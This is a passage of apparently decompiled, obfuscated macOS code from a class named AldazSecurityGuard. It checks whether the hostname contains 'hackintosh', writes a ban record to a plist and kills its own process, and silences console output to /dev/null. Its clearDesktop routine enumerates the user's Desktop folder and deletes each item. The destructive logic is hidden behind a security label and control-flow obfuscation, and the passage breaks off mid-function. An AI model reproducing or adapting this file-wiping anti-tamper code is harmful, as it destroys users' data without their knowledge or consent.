else if ( v24 <= -395703995 )
{
if ( v24 <= -842121058 )
{
if ( v24 == -1006719171 )
{
*v34 = 1468868322;
}
else if ( v24 == -909615899 )
{
asc_1002647DC[3] = v31 - 2 * (v31 & 0x28) + 40;
asc_1002647DC[4] = 105;
asc_1002647DC[5] = 110;
asc_1002647DC[6] = 116;
asc_1002647DC[7] = 111;
asc_1002647DC[8] = 115;
asc_1002647DC[9] = 104;
asc_1002647DC[10] = 0;
asc_1002647C0[0] = 65;
byte_1002647C1 = 76;
LABEL_68:
*v34 = -1795410368;
}
}
else
{
switch ( v24 )
{
case -842121057:
v2 = 0;
v3 = -1836646719;
v4 = -1029786587;
LABEL_89:
if ( !v2 )
v3 = v4;
goto LABEL_110;
case -717738245:
dword_10029F280 = 1;
v15 = +[NSProcessInfo processInfo](&OBJC_CLASS___NSProcessInfo, "processInfo");
v26 = objc_retainAutoreleasedReturnValue(v15);
v21 = "hostName";
*v34 = -88287075;
break;
case -646165718:
v2 = 0;
v3 = 662396499;
v4 = -327672510;
goto LABEL_89;
}
}
}
else if ( v24 > 38427824 )
{
switch ( v24 )
{
case 38427825:
*v34 = 710263839;
break;
case 69628600:
*v34 = 1010141736;
v33 = v30;
break;
case 115456332:
byte_1002647C2 = v32;
strcpy(&byte_1002647C3, "OW_HACKINTOSH");
v10 = 1;
v3 = 115456332;
v11 = -1830899247;
goto LABEL_100;
}
}
else
{
switch ( v24 )
{
case -395703994:
*v34 = -1786294284;
break;
case -327672510:
v29 = v20 != 0;
v10 = 1;
v3 = -327672510;
v11 = -1473790266;
goto LABEL_100;
case -88287075:
*v34 = 1081877276;
break;
}
}
}
if ( v24 > 942305293 )
break;
if ( v24 > 536638371 )
{
if ( v24 <= 662396498 )
{
if ( v24 == 536638372 )
{
v16 = 1010141736;
if ( v28 )
v16 = -1784135165;
*v34 = v16;
v33 = 1;
}
else if ( v24 == 597464116 )
{
*v34 = 1275986054;
}
}
else
{
switch ( v24 )
{
case 662396499:
*v34 = -327672510;
break;
case 710263839:
goto LABEL_68;
case 873795188:
asc_1002647DC[0] = 104;
asc_1002647DC[1] = 97;
asc_1002647DC[2] = 99;
*v34 = 942305294;
break;
}
}
}
else if ( v24 <= 186137083 )
{
if ( v24 == 120849720 )
{
v10 = 0;
v3 = 1468868322;
v11 = -1006719171;
LABEL_100:
if ( v10 )
v3 = v11;
goto LABEL_110;
}
if ( v24 == 185540900 )
{
v5 = 0;
v3 = 597464116;
v6 = 1275986054;
LABEL_72:
if ( !v5 )
v3 = v6;
LABEL_110:
*v34 = v3;
}
}
else
{
switch ( v24 )
{
case 186137084:
*v34 = -842121057;
break;
case 218602753:
*v34 = 185540900;
break;
case 373432264:
v2 = 1;
v3 = 115456332;
v4 = 1706485561;
goto LABEL_89;
}
}
}
if ( v24 <= 1468868321 )
break;
if ( v24 <= 1927880912 )
{
if ( v24 == 1468868322 )
{
v27 = v23 == 0;
v2 = 0;
v3 = 1468868322;
v4 = 218602753;
goto LABEL_89;
}
if ( v24 == 1706485561 )
{
byte_1002647C2 = v32;
strcpy(&byte_1002647C3, "OW_HACKINTOSH");
*v34 = 115456332;
}
}
else
{
switch ( v24 )
{
case 1927880913:
v12 = objc_msgSend(v26, v21);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(v13, "lowercaseString");
v25 = objc_retainAutoreleasedReturnValue(v14);
objc_release(v13);
objc_release(v26);
v22 = "containsString:";
v3 = 186137084;
goto LABEL_110;
case 1946988182:
v3 = -1786294284;
goto LABEL_110;
case 2078733038:
v7 = objc_msgSend(v26, v21);
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = objc_msgSend(v8, "lowercaseString");
objc_retainAutoreleasedReturnValue(v9);
objc_release(v8);
objc_release(v26);
*v34 = 1927880913;
break;
}
}
}
if ( v24 <= 1081877275 )
break;
switch ( v24 )
{
case 1081877276:
v3 = 1927880913;
goto LABEL_110;
case 1252368016:
dword_10029F280 = 1;
v17 = +[NSProcessInfo processInfo](&OBJC_CLASS___NSProcessInfo, "processInfo");
objc_retainAutoreleasedReturnValue(v17);
LABEL_108:
*v34 = -717738245;
break;
case 1275986054:
v2 = 0;
v3 = 597464116;
v4 = 977547278;
goto LABEL_89;
}
}
if ( v24 != 942305294 )
break;
asc_1002647DC[0] = 104;
asc_1002647DC[1] = 97;
asc_1002647DC[2] = 99;
v31 = 67;
*v34 = 38427825;
}
if ( v24 == 977547278 )
{
v5 = !v27;
v3 = -1599250792;
v6 = -1645414649;
goto LABEL_72;
}
}
while ( v24 != 1010141736 );
v18 = v33;
objc_release(v25);
return v18;
}
// 100024B09: variable 'v22' is possibly undefined
// 100024B5B: variable 'v21' is possibly undefined
// 1000253DE: variable 'v20' is possibly undefined
// 1002647C1: using guessed type char byte_1002647C1;
// 1002647C2: using guessed type char byte_1002647C2;
// 1002647C3: using guessed type char byte_1002647C3;
// 100264810: using guessed type __CFString stru_100264810;
// 10029F280: using guessed type int dword_10029F280;
//----- (0000000100025597) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard logSecurityEvent:severity:](id a1, SEL a2, id a3, id a4)
{
id v6; // rax
id v7; // r15
unsigned __int8 v8; // bl
NSUserDefaults *v9; // rax
NSUserDefaults *v10; // r15
NSUserDefaults *v11; // rax
NSUserDefaults *v12; // r14
NSString *v13; // rax
NSString *v14; // r15
id v15; // rax
id v16; // r14
id v17; // rax
id v18; // rax
id v19; // r13
NSDate *v20; // rax
NSDate *v21; // rax
NSHost *v22; // rax
NSHost *v23; // rbx
NSString *v24; // rax
NSString *v25; // r13
unsigned int v26; // eax
NSNumber *v27; // rax
NSNumber *v28; // rbx
id v29; // [rsp+10h] [rbp-30h]
if ( !dword_10029F284 )
{
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
asc_10026494E[0] = 85;
asc_10026494E[1] = 110;
asc_10026494E[2] = 107;
asc_10026494E[3] = 110;
asc_10026494E[4] = 111;
asc_10026494E[5] = 119;
asc_10026494E[6] = 110;
asc_10026494E[7] = 0;
strcpy(asc_1002648E0, "Library/Preferences/com.aldazdev.info.plist");
strcpy(asc_1002648A4, "banReason");
strcpy(asc_100264930, "LastTerminationReason");
asc_100264892[0] = 98;
asc_100264892[1] = 97;
asc_100264892[2] = 110;
asc_100264892[3] = 68;
asc_100264892[4] = 97;
asc_100264892[5] = 116;
asc_100264892[6] = 101;
asc_100264892[7] = 0;
asc_100264834[0] = 112;
asc_100264834[1] = 105;
asc_100264834[2] = 100;
asc_100264834[3] = 0;
::a1[0] = 105;
::a1[1] = 115;
::a1[2] = 66;
::a1[3] = 97;
::a1[4] = 110;
::a1[5] = 110;
::a1[6] = 101;
::a1[7] = 100;
::a1[8] = 0;
strcpy(asc_100264869, "SECURITY ALERT");
strcpy(asc_10026484E, "UnknownHost");
asc_10026483D[0] = 104;
asc_10026483D[1] = 111;
asc_10026483D[2] = 115;
asc_10026483D[3] = 116;
asc_10026483D[4] = 0;
}
dword_10029F284 = 1;
objc_retain(a3);
objc_retain(a4);
v6 = objc_msgSend(a4, "uppercaseString");
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = (unsigned __int8)objc_msgSend(v7, "isEqualToString:", CFSTR("aw\xC8\x2A"));
objc_release(v7);
if ( !v8 )
{
v9 = +[NSUserDefaults standardUserDefaults](&OBJC_CLASS___NSUserDefaults, "standardUserDefaults");
v10 = objc_retainAutoreleasedReturnValue(v9);
HikariFunctionWrapper_2621(v10, "setObject:forKey:");
objc_release(v10);
v11 = +[NSUserDefaults standardUserDefaults](&OBJC_CLASS___NSUserDefaults, "standardUserDefaults");
v12 = objc_retainAutoreleasedReturnValue(v11);
HikariFunctionWrapper_2623(v12, "synchronize");
objc_release(v12);
HikariFunctionWrapper_2625(CFSTR("\xC8\x4D\xA3ƃu\xEB\x67\x56\xF8z,Yf"), a3);
v13 = NSHomeDirectory();
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = HikariFunctionWrapper_2627(v14, "stringByAppendingPathComponent:");
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
v17 = +[NSMutableDictionary dictionary](&OBJC_CLASS___NSMutableDictionary, "dictionary");
v29 = objc_retainAutoreleasedReturnValue(v17);
v18 = HikariFunctionWrapper_2629(&OBJC_CLASS___NSNumber, "numberWithBool:");
v19 = objc_retainAutoreleasedReturnValue(v18);
objc_msgSend(v29, "setObject:forKeyedSubscript:", v19, CFSTR("1\xD0\x19\xB8ք\xA7"));
objc_release(v19);
HikariFunctionWrapper_2631(v29, "setObject:forKeyedSubscript:");
v20 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v21 = objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_2633(v29, "setObject:forKeyedSubscript:");
objc_release(v21);
v22 = +[NSHost currentHost](&OBJC_CLASS___NSHost, "currentHost");
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = -[NSHost localizedName](v23, "localizedName", 137989592);
v25 = objc_retainAutoreleasedReturnValue(v24);
HikariFunctionWrapper_2635(v29, "setObject:forKeyedSubscript:");
objc_release(v25);
objc_release(v23);
v26 = HikariFunctionWrapper_2637();
v27 = +[NSNumber numberWithInt:](&OBJC_CLASS___NSNumber, "numberWithInt:", v26, 136845312);
v28 = objc_retainAutoreleasedReturnValue(v27);
objc_msgSend(v29, "setObject:forKeyedSubscript:", v28, CFSTR("\x83V\xBDR"));
objc_release(v28);
objc_msgSend(v29, "writeToFile:atomically:", v16, 1);
objc_release(v29);
objc_release(v16);
LODWORD(v28) = getpid();
HikariFunctionWrapper_2639((FILE *)0xFFFFFFFFFFFFFFFFLL);
syscall(37, (unsigned int)v28, 9);
while ( 1 )
sleep(0xFFFFFFFF);
}
fflush((FILE *)0xFFFFFFFFFFFFFFFFLL);
objc_release(a4);
objc_release(a3);
}
// 100026968: conditional instruction was optimized away because r14d.4==C259E9A4
// 10002716B: conditional instruction was optimized away because esi.4==88B67C3
// 100027395: conditional instruction was optimized away because r12d.4==2CBE6A84
// 1002649C0: using guessed type __CFString stru_1002649C0;
// 100264AC0: using guessed type __CFString stru_100264AC0;
// 100264B80: using guessed type __CFString cfstr_1;
// 100264C00: using guessed type __CFString cfstr_Aw;
// 10029F284: using guessed type int dword_10029F284;
//----- (00000001000278FB) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard disableConsoleOutput](id a1, SEL a2)
{
int v2; // eax
char v3; // cf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
int v8; // eax
bool v9; // zf
int v10; // ecx
int v11; // eax
int v12; // eax
int v13; // [rsp+0h] [rbp-40h]
int v14; // [rsp+4h] [rbp-3Ch] BYREF
int v15; // [rsp+8h] [rbp-38h]
bool v16; // [rsp+Dh] [rbp-33h]
bool v17; // [rsp+Eh] [rbp-32h]
char v18; // [rsp+Fh] [rbp-31h]
int *v19; // [rsp+10h] [rbp-30h]
v13 = dword_10029F288;
v14 = -665210881;
v19 = &v14;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v14 <= 293808788 )
{
if ( v14 <= -865676343 )
{
if ( v14 > -1629349747 )
{
if ( v14 <= -1141639301 )
{
if ( v14 == -1629349746 )
{
*v19 = -990642707;
}
else if ( v14 == -1361405102 )
{
v3 = 0;
byte_100264C2A = 47;
v18 = 100;
v4 = -1629349746;
LABEL_99:
v5 = -1361405102;
LABEL_100:
if ( v3 )
v4 = v5;
goto LABEL_106;
}
}
else
{
switch ( v14 )
{
case -1141639300:
*v19 = 1024966155;
break;
case -990642707:
v6 = 0;
v4 = 695692254;
v7 = 537695168;
goto LABEL_93;
case -902190917:
v6 = 1;
byte_100264C30 = 117;
byte_100264C31 = 108;
byte_100264C32 = 108;
byte_100264C33 = 0;
v4 = -398415309;
v7 = -1952375291;
goto LABEL_93;
}
}
}
else if ( v14 <= -1778538691 )
{
if ( v14 == -1952375291 )
{
byte_100264C30 = 117;
byte_100264C31 = 108;
byte_100264C32 = 108;
byte_100264C33 = 0;
*v19 = -902190917;
}
else if ( v14 == -1866876131 )
{
*v19 = 869842258;
}
}
else
{
switch ( v14 )
{
case -1778538690:
v9 = !v17;
v4 = 1359038608;
v10 = 198079024;
goto LABEL_104;
case -1656916575:
v11 = fileno((FILE *)0xFFFFFFFFFFFFFFFFLL);
dup2(v15, v11);
*v19 = 710174716;
break;
case -1635468877:
*v19 = 969266145;
break;
}
}
}
else if ( v14 <= -398415310 )
{
if ( v14 <= -754655484 )
{
if ( v14 == -865676342 )
{
v9 = !v16;
v4 = 85720621;
v10 = 1284837474;
goto LABEL_104;
}
if ( v14 == -768316177 )
*v19 = -85187385;
}
else
{
switch ( v14 )
{
case -754655483:
*v19 = 1990678770;
break;
case -708486030:
close(v15);
*v19 = 1672374347;
break;
case -665210881:
v3 = 1;
v4 = -1866876131;
v5 = 869842258;
goto LABEL_100;
}
}
}
else if ( v14 > -85187386 )
{
switch ( v14 )
{
case -85187385:
v6 = 1;
v4 = 1348036554;
v7 = -768316177;
LABEL_93:
if ( !v6 )
v4 = v7;
goto LABEL_106;
case 85720621:
LABEL_75:
*v19 = 1219218906;
break;
case 198079024:
v6 = 0;
v4 = -768316177;
v7 = -85187385;
goto LABEL_93;
}
}
else
{
switch ( v14 )
{
case -398415309:
*v19 = 85720621;
break;
case -174416525:
goto LABEL_74;
case -105459846:
dword_10029F288 = 1;
open(&byte_100264C2A, 1);
goto LABEL_75;
}
}
}
if ( v14 > 1091611237 )
break;
if ( v14 > 751256330 )
{
if ( v14 <= 958137396 )
{
if ( v14 == 751256331 )
{
v3 = 1;
v4 = -708486030;
v5 = 1672374347;
goto LABEL_100;
}
if ( v14 == 869842258 )
{
v16 = v13 == 0;
v3 = 1;
v4 = 869842258;
v5 = -754655483;
goto LABEL_100;
}
}
else
{
switch ( v14 )
{
case 958137397:
*v19 = 293808789;
break;
case 969266145:
v6 = 1;
v4 = 293808789;
v7 = 958137397;
goto LABEL_93;
case 1024966155:
v8 = fileno((FILE *)0xFFFFFFFFFFFFFFFFLL);
HikariFunctionWrapper_2651(v15, v8);
*v19 = 751256331;
break;
}
}
}
else if ( v14 <= 607528265 )
{
if ( v14 == 293808789 )
{
v17 = v15 == -1;
v9 = 0;
v4 = 293808789;
v10 = 1279182448;
goto LABEL_104;
}
if ( v14 == 537695168 )
{
v3 = 1;
byte_100264C2B = v18;
byte_100264C2C = 101;
byte_100264C2D = 118;
byte_100264C2E = 47;
byte_100264C2F = 110;
v4 = 695692254;
v5 = 1091611238;
goto LABEL_100;
}
}
else
{
switch ( v14 )
{
case 607528266:
byte_100264C2A = 47;
*v19 = -1361405102;
break;
case 695692254:
byte_100264C2B = v18;
byte_100264C2C = 101;
byte_100264C2D = 118;
byte_100264C2E = 47;
byte_100264C2F = 110;
*v19 = 537695168;
break;
case 710174716:
v2 = HikariFunctionWrapper_2649((FILE *)0xFFFFFFFFFFFFFFFFLL);
dup2(v15, v2);
v3 = 1;
v4 = 710174716;
v5 = -1141639300;
goto LABEL_100;
}
}
}
if ( v14 <= 1359038607 )
break;
if ( v14 <= 1973606562 )
{
if ( v14 == 1359038608 )
{
v3 = 1;
v4 = -1656916575;
v5 = 710174716;
goto LABEL_100;
}
if ( v14 == 1672374347 )
{
HikariFunctionWrapper_2653(v15);
v3 = 1;
v4 = 1672374347;
v5 = 1995416557;
goto LABEL_100;
}
}
else
{
switch ( v14 )
{
case 1973606563:
v6 = 1;
v4 = -865676342;
v7 = -174416525;
goto LABEL_93;
case 1990678770:
LABEL_74:
*v19 = 1973606563;
break;
case 1995416557:
*v19 = 198079024;
break;
}
}
}
if ( v14 > 1284837473 )
break;
switch ( v14 )
{
case 1091611238:
*v19 = 1350795551;
break;
case 1219218906:
dword_10029F288 = 1;
v12 = HikariFunctionWrapper_2647(&byte_100264C2A, 1);
v9 = 0;
v15 = v12;
v4 = -105459846;
v10 = -1635468877;
LABEL_104:
if ( !v9 )
v4 = v10;
LABEL_106:
*v19 = v4;
break;
case 1279182448:
*v19 = -1778538690;
break;
}
}
if ( v14 == 1284837474 )
{
v3 = 1;
v4 = 607528266;
goto LABEL_99;
}
if ( v14 == 1350795551 )
{
v9 = 0;
v4 = -1952375291;
v10 = -902190917;
goto LABEL_104;
}
}
while ( v14 != 1348036554 );
}
// 100264C2B: using guessed type char byte_100264C2B;
// 100264C2C: using guessed type char byte_100264C2C;
// 100264C2D: using guessed type char byte_100264C2D;
// 100264C2E: using guessed type char byte_100264C2E;
// 100264C2F: using guessed type char byte_100264C2F;
// 100264C30: using guessed type char byte_100264C30;
// 100264C31: using guessed type char byte_100264C31;
// 100264C32: using guessed type char byte_100264C32;
// 100264C33: using guessed type char byte_100264C33;
// 10029F288: using guessed type int dword_10029F288;
//----- (00000001000283C6) ----------------------------------------------------
__int64 clearDesktop()
{
int v0; // eax
__int64 *v1; // rax
id v2; // rax
bool v3; // zf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
char v8; // cf
int v9; // ecx
id v10; // rax
id v11; // rax
id v12; // rax
int v13; // eax
NSFileManager *v14; // rax
NSArray *v15; // rax
NSArray *v16; // r14
id v17; // rax
int v18; // eax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
__int64 v26; // [rsp+0h] [rbp-130h] BYREF
id v27; // [rsp+8h] [rbp-128h]
id v28; // [rsp+10h] [rbp-120h]
__int64 *v29; // [rsp+18h] [rbp-118h]
__int64 v30; // [rsp+20h] [rbp-110h]
__int64 v31; // [rsp+28h] [rbp-108h]
id v32; // [rsp+30h] [rbp-100h]
SEL v33; // [rsp+38h] [rbp-F8h]
__int64 **v34; // [rsp+40h] [rbp-F0h]
_QWORD *v35; // [rsp+48h] [rbp-E8h]
SEL v36; // [rsp+50h] [rbp-E0h]
SEL v37; // [rsp+58h] [rbp-D8h]
id v38; // [rsp+60h] [rbp-D0h]
id v39; // [rsp+68h] [rbp-C8h]
__int64 v40; // [rsp+70h] [rbp-C0h]
id v41; // [rsp+78h] [rbp-B8h]
int v42; // [rsp+84h] [rbp-ACh]
int v43; // [rsp+88h] [rbp-A8h]
int v44; // [rsp+8Ch] [rbp-A4h] BYREF
__int64 *v45; // [rsp+90h] [rbp-A0h]
SEL v46; // [rsp+98h] [rbp-98h]
id v47; // [rsp+A0h] [rbp-90h]
id v48; // [rsp+A8h] [rbp-88h]
__int64 v49; // [rsp+B0h] [rbp-80h]
id *v50; // [rsp+B8h] [rbp-78h]
__int64 *v51; // [rsp+C0h] [rbp-70h]
__int64 *v52; // [rsp+C8h] [rbp-68h]
id v53; // [rsp+D0h] [rbp-60h]
id v54; // [rsp+D8h] [rbp-58h]
id v55; // [rsp+E0h] [rbp-50h]
id obj; // [rsp+E8h] [rbp-48h]
bool v57; // [rsp+F2h] [rbp-3Eh]
bool v58; // [rsp+F3h] [rbp-3Dh]
bool v59; // [rsp+F4h] [rbp-3Ch]
bool v60; // [rsp+F5h] [rbp-3Bh]
bool v61; // [rsp+F6h] [rbp-3Ah]
char v62; // [rsp+F7h] [rbp-39h]
int *v63; // [rsp+F8h] [rbp-38h]
__int64 v64; // [rsp+100h] [rbp-30h]
v64 = -1;
v42 = -1593802732;
v44 = 162933927;
v63 = &v44;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v44 > -255780765 )
{
if ( v44 <= 921325230 )
{
if ( v44 <= 273585314 )
{
if ( v44 > 91118080 )
{
if ( v44 <= 162933926 )
{
if ( v44 == 91118081 )
{
v18 = -504674017;
if ( v61 )
v18 = -100742463;
*v63 = v18;
v39 = v38;
v48 = obj;
}
else if ( v44 == 127624964 )
{
HikariFunctionWrapper_2657(obj);
*v63 = -595506743;
}
}
else
{
switch ( v44 )
{
case 162933927:
v3 = v42 == -1793371104;
v4 = -622128903;
v5 = 965467033;
goto LABEL_197;
case 171939977:
v6 = 1;
asc_100264C60[9] = 108;
asc_100264C60[10] = 101;
asc_100264C60[11] = 101;
asc_100264C60[12] = 114;
asc_100264C60[13] = 32;
asc_100264C60[14] = 68;
asc_100264C60[15] = 101;
v62 = 115;
v4 = -1235410257;
v7 = -1657932366;
goto LABEL_209;
case 254144403:
*v63 = 554851415;
break;
}
}
}
else if ( v44 <= -100742464 )
{
if ( v44 == -255780764 )
{
dword_10029F28C = 1;
v50 = (id *)(&v26 - 2);
v52 = &v26 - 8;
v45 = &v26 - 16;
v51 = &v26 - 2;
v14 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v53 = objc_retainAutoreleasedReturnValue(v14);
v15 = NSSearchPathForDirectoriesInDomains(NSDesktopDirectory, 1u, 1);
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = -[NSArray firstObject](v16, "firstObject");
v54 = objc_retainAutoreleasedReturnValue(v17);
objc_release(v16);
*v50 = 0;
*v63 = -2026468972;
}
else if ( v44 == -116233183 )
{
v8 = 1;
v4 = -940840434;
v9 = -844044525;
goto LABEL_217;
}
}
else
{
switch ( v44 )
{
case -100742463:
v41 = v48;
v6 = 1;
v4 = -853457381;
v7 = 1430065841;
goto LABEL_209;
case 893238:
v3 = !v57;
v4 = -255780764;
v5 = 1201722247;
goto LABEL_197;
case 62228895:
objc_release(v47);
*v63 = -476955962;
break;
}
}
}
else if ( v44 <= 510190559 )
{
if ( v44 <= 348161926 )
{
if ( v44 == 273585315 )
{
v6 = 0;
v4 = 62228895;
v7 = -476955962;
goto LABEL_209;
}
if ( v44 == 308720353 )
{
objc_retain(obj);
*v63 = 2048483931;
}
}
else
{
switch ( v44 )
{
case 348161927:
v12 = objc_msgSend(v54, v36, *(_QWORD *)(*v35 + 8 * v49));
v47 = objc_retainAutoreleasedReturnValue(v12);
*v51 = 0;
objc_msgSend(v53, v37, v47, v51);
v8 = 1;
v4 = 348161927;
v9 = -1841509886;
goto LABEL_217;
case 399513996:
v11 = objc_msgSend(v53, "contentsOfDirectoryAtPath:error:", v54, v50);
objc_retainAutoreleasedReturnValue(v11);
*v63 = 1357135721;
break;
case 508345321:
*v63 = -1766630789;
break;
}
}
}
else if ( v44 > 760349378 )
{
switch ( v44 )
{
case 760349379:
*v63 = -100742463;
v48 = v27;
break;
case 850437158:
v6 = 0;
v4 = 308720353;
v7 = 2048483931;
goto LABEL_209;
case 862786349:
v59 = **v34 == v30;
v4 = -1108403100;
goto LABEL_219;
}
}
else
{
switch ( v44 )
{
case 510190560:
v3 = 0;
v4 = -359205708;
v5 = 970462877;
goto LABEL_197;
case 554851415:
v8 = 1;
v4 = -1539229139;
v9 = 348161927;
goto LABEL_217;
case 633946190:
*v63 = -255780764;
break;
}
}
}
else if ( v44 > 1357135720 )
{
if ( v44 <= 1595419994 )
{
if ( v44 <= 1469431343 )
{
if ( v44 == 1357135721 )
{
v19 = objc_msgSend(v53, "contentsOfDirectoryAtPath:error:", v54, v50);
v20 = objc_retainAutoreleasedReturnValue(v19);
v6 = 0;
obj = v20;
v55 = *v50;
v4 = 399513996;
v7 = -1792937072;
goto LABEL_209;
}
if ( v44 == 1430065841 )
{
objc_release(v41);
objc_release(obj);
objc_release(v55);
objc_release(v54);
objc_release(v53);
*v63 = -853457381;
}
}
else
{
switch ( v44 )
{
case 1469431344:
v13 = -1354756527;
if ( v60 )
v13 = -1625674773;
*v63 = v13;
v40 = v31;
break;
case 1574722745:
v6 = 1;
v4 = -1864452513;
goto LABEL_157;
case 1576718918:
*v63 = 1294713663;
break;
}
}
}
else if ( v44 > 1844308866 )
{
switch ( v44 )
{
case 1844308867:
v3 = !v58;
v4 = -892397898;
v5 = -1145683947;
goto LABEL_197;
case 1869695793:
asc_100264C60[16] = v62;
asc_100264C60[17] = 107;
asc_100264C60[18] = 116;
asc_100264C60[19] = 111;
asc_100264C60[20] = 112;
asc_100264C60[21] = 58;
asc_100264C60[22] = 32;
asc_100264C60[23] = 37;
v6 = 1;
asc_100264C60[24] = 64;
asc_100264C60[25] = 0;
v4 = 633946190;
goto LABEL_174;
case 2048483931:
objc_retain(obj);
v6 = 0;
v46 = "countByEnumeratingWithState:objects:count:";
v4 = 308720353;
v7 = -1396715628;
goto LABEL_209;
}
}
else
{
switch ( v44 )
{
case 1595419995:
*v63 = -1932021919;
break;
case 1805951733:
*v63 = 862786349;
break;
case 1829965200:
v28 = objc_msgSend(obj, v46, v52, v45, 16);
v0 = -1286820078;
if ( !v28 )
v0 = -100742463;
*v63 = v0;
v48 = obj;
break;
}
}
}
else if ( v44 <= 1089938305 )
{
if ( v44 <= 965467032 )
{
if ( v44 == 921325231 )
{
v29 = *v34;
*v63 = -687926957;
}
else if ( v44 == 943946879 )
{
v8 = 0;
v4 = 127624964;
v9 = -2084841857;
goto LABEL_217;
}
}
else
{
switch ( v44 )
{
case 965467033:
v6 = 1;
v43 = dword_10029F28C;
v4 = -477652173;
v7 = 965467033;
goto LABEL_209;
case 970462877:
objc_retain(v55);
v58 = obj == 0;
v8 = 1;
v4 = -359205708;
v9 = 1844308867;
goto LABEL_217;
case 970868093:
LABEL_106:
*v63 = 1090079983;
break;
}
}
}
else if ( v44 > 1201722246 )
{
switch ( v44 )
{
case 1201722247:
asc_100264C60[0] = 69;
asc_100264C60[1] = 114;
asc_100264C60[2] = 114;
asc_100264C60[3] = 111;
asc_100264C60[4] = 114;
asc_100264C60[5] = 32;
asc_100264C60[6] = 97;
asc_100264C60[7] = 108;
asc_100264C60[8] = 32;
*v63 = -1373001575;
break;
case 1214445423:
v6 = 1;
v4 = 760349379;
v7 = -1990525665;
goto LABEL_209;
case 1294713663:
goto LABEL_106;
}
}
else
{
switch ( v44 )
{
case 1089938306:
v8 = 0;
v4 = -1511310375;
v9 = -914891636;
goto LABEL_217;
case 1090079983:
v61 = v38 == 0;
v8 = 0;
v4 = 1116980096;
v9 = 1090079983;
goto LABEL_217;
case 1116980096:
*v63 = 91118081;
break;
}
}
}
if ( v44 <= -1108403101 )
break;
if ( v44 <= -763271607 )
{
if ( v44 > -874015429 )
{
if ( v44 <= -844044526 )
{
if ( v44 == -874015428 )
{
*v63 = -821485928;
}
else if ( v44 == -853457381 )
{
objc_release(v41);
objc_release(obj);
objc_release(v55);
objc_release(v54);
objc_release(v53);
*v63 = -1909963683;
}
}
else
{
switch ( v44 )
{
case -844044525:
*v63 = 254144403;
break;
case -821485928:
v6 = 1;
v33 = "localizedDescription";
v4 = -513087686;
v7 = -821485928;
goto LABEL_209;
case -799268916:
v2 = HikariFunctionWrapper_2659(obj, v46);
v3 = 0;
v38 = v2;
v4 = -570741100;
v5 = 1576718918;
goto LABEL_197;
}
}
}
else if ( v44 <= -940840435 )
{
if ( v44 == -1108403100 )
{
v3 = !v59;
v4 = 943946879;
v5 = 554851415;
LABEL_197:
if ( !v3 )
v4 = v5;
LABEL_219:
*v63 = v4;
}
else if ( v44 == -1014480903 )
{
*v63 = -620207496;
}
}
else
{
switch ( v44 )
{
case -940840434:
*v63 = -844044525;
break;
case -914891636:
*v63 = -1511310375;
break;
case -892397898:
v1 = v52;
*((_OWORD *)v52 + 3) = 0;
*((_OWORD *)v1 + 2) = 0;
*((_OWORD *)v1 + 1) = 0;
*(_OWORD *)v1 = 0;
*v63 = 850437158;
break;
}
}
}
else if ( v44 <= -570741101 )
{
if ( v44 <= -622128904 )
{
if ( v44 == -763271606 )
{
v21 = HikariFunctionWrapper_2661(v55, v33);
v22 = objc_retainAutoreleasedReturnValue(v21);
NSLog(
CFSTR("\x7F\xC2\xCCm\x8E1\xE5\xE8\x8D\x01ܝ\xF1\xBB\xF1\xA8P\xE4\x5E\xF6\xCA\x5E\x1E\xD4\x44R"),
v22);
*v63 = -1864452513;
}
else if ( v44 == -687926957 )
{
v30 = *v29;
v35 = v52 + 1;
*v63 = -504674017;
v39 = v28;
}
}
else
{
switch ( v44 )
{
case -622128903:
*v63 = 965467033;
break;
case -620207496:
v60 = v49 + 1 == (_QWORD)v32;
v6 = 0;
v31 = v49 + 1;
v4 = -1014480903;
v7 = 1469431344;
goto LABEL_209;
case -595506743:
*v63 = -116233183;
break;
}
}
}
else if ( v44 > -477652174 )
{
switch ( v44 )
{
case -477652173:
*v63 = 1089938306;
break;
case -476955962:
objc_release(v47);
v8 = 0;
v4 = 508345321;
v9 = -476955962;
goto LABEL_217;
case -359205708:
objc_retain(v55);
*v63 = 970462877;
break;
}
}
else
{
switch ( v44 )
{
case -570741100:
HikariFunctionWrapper_2665(obj, v46);
*v63 = -799268916;
break;
case -513087686:
*v63 = 1574722745;
break;
case -504674017:
v32 = v39;
v36 = "stringByAppendingPathComponent:";
v37 = "removeItemAtPath:error:";
*v63 = -1354756527;
v40 = 0;
break;
}
}
}
if ( v44 <= -1625674774 )
break;
if ( v44 <= -1373001576 )
{
if ( v44 <= -1539229140 )
{
if ( v44 == -1625674773 )
{
v8 = 0;
v4 = -799268916;
v9 = -570741100;
LABEL_217:
if ( v8 )
v4 = v9;
goto LABEL_219;
}
if ( v44 == -1610035936 )
{
v6 = 1;
v4 = 1869695793;
LABEL_174:
v7 = -1350602681;
goto LABEL_209;
}
}
else
{
switch ( v44 )
{
case -1539229139:
v23 = HikariFunctionWrapper_2663(v54, v36);
v24 = objc_retainAutoreleasedReturnValue(v23);
*v51 = 0;
objc_msgSend(v53, v37, v24, v51);
*v63 = 348161927;
break;
case -1511310375:
v57 = v43 == 0;
v6 = 1;
v4 = -1791260772;
v7 = -914891636;
goto LABEL_209;
case -1396715628:
*v63 = 1829965200;
break;
}
}
}
else if ( v44 > -1286820079 )
{
switch ( v44 )
{
case -1286820078:
v34 = (__int64 **)(v52 + 2);
*v63 = 921325231;
break;
case -1235410257:
*v63 = -1610035936;
break;
case -1145683947:
